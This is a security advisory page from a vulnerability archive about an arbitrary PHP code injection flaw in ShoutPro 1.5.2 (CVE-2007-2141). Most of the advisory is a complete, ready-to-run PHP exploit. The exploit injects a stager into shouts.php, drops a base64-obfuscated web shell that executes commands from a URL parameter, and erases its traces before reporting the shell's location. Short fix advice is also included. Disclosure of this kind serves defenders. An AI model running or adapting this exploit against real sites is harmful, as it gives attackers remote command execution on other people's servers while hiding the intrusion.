SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

ShoutPro 1.5.2 - arbitrary code execution


Arrow  SecurityAlert : 2593
Arrow  CVE : CVE-2007-2141
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : Gammarays
Arrow  Published : 23.04.2007

Arrow  Affected Software : ShoutPro 1.5.2



Arrow  Advisory Text :  

<?/*
File: shoutbox.php
Affects: ShoutPro 1.5.2 (may affect earlier versions)
Date: 17th April 2007

Issue Description:
========================================================================
===
ShoutPro 1.5.2 fails to fully sanitize user input ($shout) that it writes
to the shouts.php file when adding a new message, this can result in the
injection and execution of arbitrary php code.
========================================================================
===

Scope:
========================================================================
===
The vulnerability will in most cases allow an attacker to execute commands

on the system, the issue may be further perpetuated if the user has
followed
the official documentation and chmoded the base folder to '777'
========================================================================
===

Recommendation:
========================================================================
===
1) Add code to perform strip_tags() on $shout in shoutbox.php
2) Prevent direct access to shouts.php with a .htaccess file
========================================================================
===

Discovered By: Gammarays
*/?>

<?php

echo "########################################################n";
echo "# Special Greetings To - Timq,Warpboy,The-Maggot #n";
echo "########################################################nnn";

//Writes Files - Under 100 bytes to meet requirements
$temppayload =
"%3C%3F%24a%3Dfopen%28%24_POST%5B%27f%27%5D%2C%27w%27%29%3Bfwrite%28%24a
%2Cbase64_decode%28%24_POST%5B%27d%27%5D%29%29%3Bfclose%28%24a%29%3B%3F%
3E";

//Execute Commands + Performs Cleanup
$payload =
"PD9waHAgCgppZihpc3NldCgkX0dFVFsnY21kJ10pKQp7CmVjaG8gc2hlbGxfZXhlYyh1cmx
kZWNv".

"ZGUoJF9HRVRbJ2NtZCddKSk7CmRpZSgpOwp9CgppZigkX1BPU1RbJ2NsZWFuJ109PSdkb2l
0Jykg".

"Y2xlYW4oKTsKCmZ1bmN0aW9uIGNsZWFuKCkKewogICRsMSA9IGZpbGUoJ3Nob3V0cy5waHA
nKTsK".

"ICAkZmggPSBmb3Blbignc2hvdXRzLnBocCcsJ3cnKTsKICBpZighJGZoKSBkaWUoKTsKCiA
gZm9y".

"ZWFjaCAoJGwxIGFzICRsMikgCiAgewoJaWYoIXN0cnN0cigkbDIsIiRhPWZvcGVuIikpCgl
7CgkJ".

"ZnByaW50ZigkZmgsJGwyKTsKCX0gICAgCiAgfQogIGZjbG9zZSgkZmgpOwp9Cgo/Pg==";

if($argc!=2) die("Usage: <url> ntEx: http://www.example.com/shoutpro/n");

$url = $argv[1];
//$url = "http://localhost/ShoutPro1.5.2/";

$ch = curl_init($url . "shoutbox.php");
if(!$ch) die("Error Initializing CURL");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target - Is URL Valid?");

echo "[ ] Deploying Temp Payload...n";

curl_setopt($ch, CURLOPT_URL,$url . "shoutbox.php?action=post");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"name=Beethoven&pass=&shout=".$temppayload."&post=Pos
t");
$res = curl_exec($ch);
if(!$res) die("Error Deploying Temp Payload");

echo "[ ] Deploying Main Payload...n";

curl_setopt($ch, CURLOPT_URL,$url . "shouts.php");
curl_setopt($ch, CURLOPT_POSTFIELDS,"f=module.php&d=".$payload);
$res = curl_exec($ch);
if(!$res) die("Error Deploying Main Payload");

echo "[ ] Attempting Clean Up...n";

curl_setopt($ch, CURLOPT_URL,$url . "module.php");
curl_setopt($ch, CURLOPT_POSTFIELDS,"clean=doit");
$res = curl_exec($ch);
if(!$res) die("Error - Clean Up Failed");

echo "[ ] Clean Up Completen";
echo "[ ] Shell Accessible at ".$url."module.php?cmd=<yourcommand>";

curl_close($ch);
?>




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.